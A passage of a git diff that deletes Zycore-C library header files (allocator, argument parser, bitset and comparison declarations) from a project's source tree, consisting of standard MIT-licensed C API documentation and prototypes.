-} ZyanAllocator; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * Initializes the given `ZyanAllocator` instance. - * - * @param allocator A pointer to the `ZyanAllocator` instance. - * @param allocate The allocate function. - * @param reallocate The reallocate function. - * @param deallocate The deallocate function. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanAllocatorInit(ZyanAllocator* allocator, ZyanAllocatorAllocate allocate, - ZyanAllocatorAllocate reallocate, ZyanAllocatorDeallocate deallocate); - -#ifndef ZYAN_NO_LIBC - -/** - * Returns the default `ZyanAllocator` instance. - * - * @return A pointer to the default `ZyanAllocator` instance. - * - * The default allocator uses the default memory manager to allocate memory on the heap. - * - * You should in no case modify the returned allocator instance to avoid unexpected behavior. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanAllocator* ZyanAllocatorDefault(void); - -#endif // ZYAN_NO_LIBC - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_ALLOCATOR_H */ diff --git a/src/Theodosius/Zycore/ArgParse.h b/src/Theodosius/Zycore/ArgParse.h deleted file mode 100644 index 5d389cb..0000000 --- a/src/Theodosius/Zycore/ArgParse.h +++ /dev/null @@ -1,173 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements command-line argument parsing. - */ - -#ifndef ZYCORE_ARGPARSE_H -#define ZYCORE_ARGPARSE_H - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Structs and other types */ -/* ============================================================================================== */ - -/** - * Definition of a single argument. - */ -typedef struct ZyanArgParseDefinition_ -{ - /** - * The argument name, e.g. `--help`. - * - * Must start with either one or two dashes. Single dash arguments must consist of a single - * character, (e.g. `-n`), double-dash arguments can be of arbitrary length. - */ - const char* name; - /** - * Whether the argument is boolean or expects a value. - */ - ZyanBool boolean; - /** - * Whether this argument is required (error if missing). - */ - ZyanBool required; -} ZyanArgParseDefinition; - -/** - * Configuration for argument parsing. - */ -typedef struct ZyanArgParseConfig_ -{ - /** - * `argv` argument passed to `main` by LibC. - */ - const char** argv; - /** - * `argc` argument passed to `main` by LibC. - */ - ZyanUSize argc; - /** - * Minimum # of accepted unnamed / anonymous arguments. - */ - ZyanUSize min_unnamed_args; - /** - * Maximum # of accepted unnamed / anonymous arguments. - */ - ZyanUSize max_unnamed_args; - /** - * Argument definition array, or `ZYAN_NULL`. - * - * Expects a pointer to an array of `ZyanArgParseDefinition` instances. The array is - * terminated by setting the `.name` field of the last element to `ZYAN_NULL`. If no named - * arguments should be parsed, you can also set this to `ZYAN_NULL`. - */ - ZyanArgParseDefinition* args; -} ZyanArgParseConfig; - -/** - * Information about a parsed argument. - */ -typedef struct ZyanArgParseArg_ -{ - /** - * Corresponding argument definition, or `ZYAN_NULL` for unnamed args. - * - * This pointer is borrowed from the `cfg` pointer passed to `ZyanArgParse`. - */ - const ZyanArgParseDefinition* def; - /** - * Whether the argument has a value (is non-boolean). - */ - ZyanBool has_value; - /** - * If `has_value == true`, then the argument value. - * - * This is a view into the `argv` string array passed to `ZyanArgParse` via the `cfg` argument. - */ - ZyanStringView value; -} ZyanArgParseArg; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -#ifndef ZYAN_NO_LIBC - -/** - * Parse arguments according to a `ZyanArgParseConfig` definition. - * - * @param cfg Argument parser config to use. - * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is - * transferred to the user. Input is expected to be uninitialized. On error, - * the vector remains uninitialized. - * @param error_token On error, if it makes sense, receives the argument fragment causing the - * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` - * struct and doesn't have to be freed by the user. - * - * @return A `ZyanStatus` status determining whether the parsing succeeded. - */ -ZYCORE_EXPORT ZyanStatus ZyanArgParse(const ZyanArgParseConfig *cfg, ZyanVector* parsed, - const char** error_token); - -#endif - -/** - * Parse arguments according to a `ZyanArgParseConfig` definition. - * - * This version allows specification of a custom memory allocator and thus supports no-libc. - * - * @param cfg Argument parser config to use. - * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is - * transferred to the user. Input is expected to be uninitialized. On error, - * the vector remains uninitialized. - * @param error_token On error, if it makes sense, receives the argument fragment causing the - * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` - * struct and doesn't have to be freed by the user. - * @param allocator The `ZyanAllocator` to be used for allocating the output vector's data. - * - * @return A `ZyanStatus` status determining whether the parsing succeeded. - */ -ZYCORE_EXPORT ZyanStatus ZyanArgParseEx(const ZyanArgParseConfig *cfg, ZyanVector* parsed, - const char** error_token, ZyanAllocator* allocator); - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_ARGPARSE_H */ diff --git a/src/Theodosius/Zycore/Bitset.h b/src/Theodosius/Zycore/Bitset.h deleted file mode 100644 index 8c7eb1f..0000000 --- a/src/Theodosius/Zycore/Bitset.h +++ /dev/null @@ -1,484 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements the bitset class. - */ - -#ifndef ZYCORE_BITSET_H -#define ZYCORE_BITSET_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanVector` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanBitset_ -{ - /** - * The bitset size. - */ - ZyanUSize size; - /** - * The bitset data. - */ - ZyanVector bits; -} ZyanBitset; - -/** - * Defines the `ZyanBitsetByteOperation` function prototype. - * - * @param v1 A pointer to the first byte. This value receives the result after performing the - * desired operation. - * @param v2 A pointer to the second byte. - * - * @return A zyan status code. - * - * This function is used to perform byte-wise operations on two `ZyanBitset` instances. - */ -typedef ZyanStatus (*ZyanBitsetByteOperation)(ZyanU8* v1, const ZyanU8* v2); - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constructor and destructor */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param count The initial amount of bits. - * - * @return A zyan status code. - * - * The space for the bitset is dynamically allocated by the default allocator using the default - * growth factor of `2.0f` and the default shrink threshold of `0.5f`. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanBitsetInit(ZyanBitset* bitset, ZyanUSize count); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanBitset` instance and sets a custom `allocator` and memory - * allocation/deallocation parameters. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param count The initial amount of bits. - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetInitEx(ZyanBitset* bitset, ZyanUSize count, - ZyanAllocator* allocator, float growth_factor, float shrink_threshold); - -/** - * Initializes the given `ZyanBitset` instance and configures it to use a custom user - * defined buffer with a fixed size. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param count The initial amount of bits. - * @param buffer A pointer to the buffer that is used as storage for the bits. - * @param capacity The maximum capacity (number of bytes) of the buffer. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetInitBuffer(ZyanBitset* bitset, ZyanUSize count, void* buffer, - ZyanUSize capacity); - -/** - * Destroys the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetDestroy(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ -/* Logical operations */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Performs a byte-wise `operation` for every byte in the given `ZyanBitset` instances. - * - * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and - * as the destination. - * @param source A pointer to the `ZyanBitset` instance that is used as the second input. - * @param operation A pointer to the function that performs the desired operation. - * - * @return A zyan status code. - * - * The `operation` callback is invoked once for every byte in the smallest of the `ZyanBitset` - * instances. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetPerformByteOperation(ZyanBitset* destination, - const ZyanBitset* source, ZyanBitsetByteOperation operation); - -/** - * Performs a logical `AND` operation on the given `ZyanBitset` instances. - * - * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and - * as the destination. - * @param source A pointer to the `ZyanBitset` instance that is used as the second input. - * - * @return A zyan status code. - * - * If the destination bitmask contains more bits than the source one, the state of the remaining - * bits will be undefined. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetAND(ZyanBitset* destination, const ZyanBitset* source); - -/** - * Performs a logical `OR` operation on the given `ZyanBitset` instances. - * - * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and - * as the destination. - * @param source A pointer to the `ZyanBitset` instance that is used as the second input. - * - * @return A zyan status code. - * - * If the destination bitmask contains more bits than the source one, the state of the remaining - * bits will be undefined. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetOR (ZyanBitset* destination, const ZyanBitset* source); - -/** - * Performs a logical `XOR` operation on the given `ZyanBitset` instances. - * - * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and - * as the destination. - * @param source A pointer to the `ZyanBitset` instance that is used as the second input. - * - * @return A zyan status code. - * - * If the destination bitmask contains more bits than the source one, the state of the remaining - * bits will be undefined. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetXOR(ZyanBitset* destination, const ZyanBitset* source); - -/** - * Flips all bits of the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetFlip(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ -/* Bit access */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Sets the bit at `index` of the given `ZyanBitset` instance to `1`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param index The bit index. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetSet(ZyanBitset* bitset, ZyanUSize index); - -/** - * Sets the bit at `index` of the given `ZyanBitset` instance to `0`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param index The bit index. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetReset(ZyanBitset* bitset, ZyanUSize index); - -/** - * Sets the bit at `index` of the given `ZyanBitset` instance to the specified `value`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param index The bit index. - * @param value The new value. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetAssign(ZyanBitset* bitset, ZyanUSize index, ZyanBool value); - -/** - * Toggles the bit at `index` of the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param index The bit index. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetToggle(ZyanBitset* bitset, ZyanUSize index); - -/** - * Returns the value of the bit at `index`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param index The bit index. - * - * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not, Another zyan - * status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetTest(ZyanBitset* bitset, ZyanUSize index); - -/** - * Returns the value of the most significant bit. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan - * status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetTestMSB(ZyanBitset* bitset); - -/** - * Returns the value of the least significant bit. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan - * status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetTestLSB(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Sets all bits of the given `ZyanBitset` instance to `1`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetSetAll(ZyanBitset* bitset); - -/** - * Sets all bits of the given `ZyanBitset` instance to `0`. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetResetAll(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ -/* Size management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Adds a new bit at the end of the bitset. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param value The value of the new bit. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetPush(ZyanBitset* bitset, ZyanBool value); - -/** - * Removes the last bit of the bitset. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetPop(ZyanBitset* bitset); - -/** - * Deletes all bits of the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetClear(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Changes the capacity of the given `ZyanBitset` instance. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param count The new capacity (number of bits). - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetReserve(ZyanBitset* bitset, ZyanUSize count); - -/** - * Shrinks the capacity of the given bitset to match it's size. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetShrinkToFit(ZyanBitset* bitset); - -/* ---------------------------------------------------------------------------------------------- */ -/* Information */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the current size of the bitset in bits. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param size Receives the size of the bitset in bits. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSize(const ZyanBitset* bitset, ZyanUSize* size); - -/** - * Returns the current capacity of the bitset in bits. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param capacity Receives the size of the bitset in bits. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacity(const ZyanBitset* bitset, ZyanUSize* capacity); - -/** - * Returns the current size of the bitset in bytes. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param size Receives the size of the bitset in bytes. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSizeBytes(const ZyanBitset* bitset, ZyanUSize* size); - -/** - * Returns the current capacity of the bitset in bytes. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param capacity Receives the size of the bitset in bytes. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacityBytes(const ZyanBitset* bitset, ZyanUSize* capacity); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the amount of bits set in the given bitset. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * @param count Receives the amount of bits set in the given bitset. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetCount(const ZyanBitset* bitset, ZyanUSize* count); - -/** - * Checks, if all bits of the given bitset are set. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return `ZYAN_STATUS_TRUE`, if all bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan - * status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetAll(const ZyanBitset* bitset); - -/** - * Checks, if at least one bit of the given bitset is set. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return `ZYAN_STATUS_TRUE`, if at least one bit is set, `ZYAN_STATUS_FALSE`, if not. Another - * zyan status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetAny(const ZyanBitset* bitset); - -/** - * Checks, if none bits of the given bitset are set. - * - * @param bitset A pointer to the `ZyanBitset` instance. - * - * @return `ZYAN_STATUS_TRUE`, if none bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan - * status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanBitsetNone(const ZyanBitset* bitset); - -///* ---------------------------------------------------------------------------------------------- */ -// -///** -// * Returns a 32-bit unsigned integer representation of the data. -// * -// * @param bitset A pointer to the `ZyanBitset` instance. -// * @param value Receives the 32-bit unsigned integer representation of the data. -// * -// * @return A zyan status code. -// */ -//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU32(const ZyanBitset* bitset, ZyanU32* value); -// -///** -// * Returns a 64-bit unsigned integer representation of the data. -// * -// * @param bitset A pointer to the `ZyanBitset` instance. -// * @param value Receives the 64-bit unsigned integer representation of the data. -// * -// * @return A zyan status code. -// */ -//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU64(const ZyanBitset* bitset, ZyanU64* value); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_BITSET_H */ diff --git a/src/Theodosius/Zycore/Comparison.h b/src/Theodosius/Zycore/Comparison.h deleted file mode 100644 index 6d8b518..0000000 --- a/src/Theodosius/Zycore/Comparison.h +++ /dev/null @@ -1,316 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Defines prototypes of general-purpose comparison functions. - */ - -#ifndef ZYCORE_COMPARISON_H -#define ZYCORE_COMPARISON_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanEqualityComparison` function prototype. - * - * @param left A pointer to the first element. - * @param right A pointer to the second element. - * - * @return This function should return `ZYAN_TRUE` if the `left` element equals the `right` one - * or `ZYAN_FALSE`, if not. - */ -typedef ZyanBool (*ZyanEqualityComparison)(const void* left, const void* right); - -/** - * Defines the `ZyanComparison` function prototype. - * - * @param left A pointer to the first element. - * @param right A pointer to the second element. - * - * @return This function should return values in the following range: - * `left == right -> result == 0` - * `left < right -> result < 0` - * `left > right -> result > 0` - */ -typedef ZyanI32 (*ZyanComparison)(const void* left, const void* right); - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Equality comparison functions */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Declares a generic equality comparison function for an integral data-type. - * - * @param name The name of the function. - * @param type The name of the integral data-type. - */ -#define ZYAN_DECLARE_EQUALITY_COMPARISON(name, type) \ - ZyanBool name(const type* left, const type* right) \ - { \ - ZYAN_ASSERT(left); \ - ZYAN_ASSERT(right); \ - \ - return (*left == *right) ? ZYAN_TRUE : ZYAN_FALSE; \ - } - -/** - * Declares a generic equality comparison function that compares a single integral - * data-type field of a struct. - * - * @param name The name of the function. - * @param type The name of the integral data-type. - * @param field_name The name of the struct field. - */ -#define ZYAN_DECLARE_EQUALITY_COMPARISON_FOR_FIELD(name, type, field_name) \ - ZyanBool name(const type* left, const type* right) \ - { \ - ZYAN_ASSERT(left); \ - ZYAN_ASSERT(right); \ - \ - return (left->field_name == right->field_name) ? ZYAN_TRUE : ZYAN_FALSE; \ - } - -/* ---------------------------------------------------------------------------------------------- */ -/* Comparison functions */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Declares a generic comparison function for an integral data-type. - * - * @param name The name of the function. - * @param type The name of the integral data-type. - */ -#define ZYAN_DECLARE_COMPARISON(name, type) \ - ZyanI32 name(const type* left, const type* right) \ - { \ - ZYAN_ASSERT(left); \ - ZYAN_ASSERT(right); \ - \ - if (*left < *right) \ - { \ - return -1; \ - } \ - if (*left > *right) \ - { \ - return 1; \ - } \ - return 0; \ - } - -/** - * Declares a generic comparison function that compares a single integral data-type field - * of a struct. - * - * @param name The name of the function. - * @param type The name of the integral data-type. - * @param field_name The name of the struct field. - */ -#define ZYAN_DECLARE_COMPARISON_FOR_FIELD(name, type, field_name) \ - ZyanI32 name(const type* left, const type* right) \ - { \ - ZYAN_ASSERT(left); \ - ZYAN_ASSERT(right); \ - \ - if (left->field_name < right->field_name) \ - { \ - return -1; \ - } \ - if (left->field_name > right->field_name) \ - { \ - return 1; \ - } \ - return 0; \ - } - - /* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Default equality comparison functions */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines a default equality comparison function for pointer values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsPointer, void* const) - -/** - * Defines a default equality comparison function for `ZyanBool` values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsBool, ZyanBool) - -/** - * Defines a default equality comparison function for 8-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric8, ZyanU8) - -/** - * Defines a default equality comparison function for 16-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric16, ZyanU16) - -/** - * Defines a default equality comparison function for 32-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric32, ZyanU32) - -/** - * Defines a default equality comparison function for 64-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if - * not. - */ -ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric64, ZyanU64) - -/* ---------------------------------------------------------------------------------------------- */ -/* Default comparison functions */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines a default comparison function for pointer values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanComparePointer, void* const) - -/** - * Defines a default comparison function for `ZyanBool` values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareBool, ZyanBool) - -/** - * Defines a default comparison function for 8-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric8, ZyanU8) - -/** - * Defines a default comparison function for 16-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric16, ZyanU16) - -/** - * Defines a default comparison function for 32-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric32, ZyanU32) - -/** - * Defines a default comparison function for 64-bit numeric values. - * - * @param left A pointer to the first value. - * @param right A pointer to the second value. - * - * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is - * less than the `right` one, or `1` if the `left` value is greater than the `right` one. - */ -ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric64, ZyanU64) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_COMPARISON_H */ diff --git a/src/Theodosius/Zycore/Defines.h b/src/Theodosius/Zycore/Defines.h deleted file mode 100644 index 65afbaa..0000000 --- a/src/Theodosius/Zycore/Defines.h +++ /dev/null @@ -1,443 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 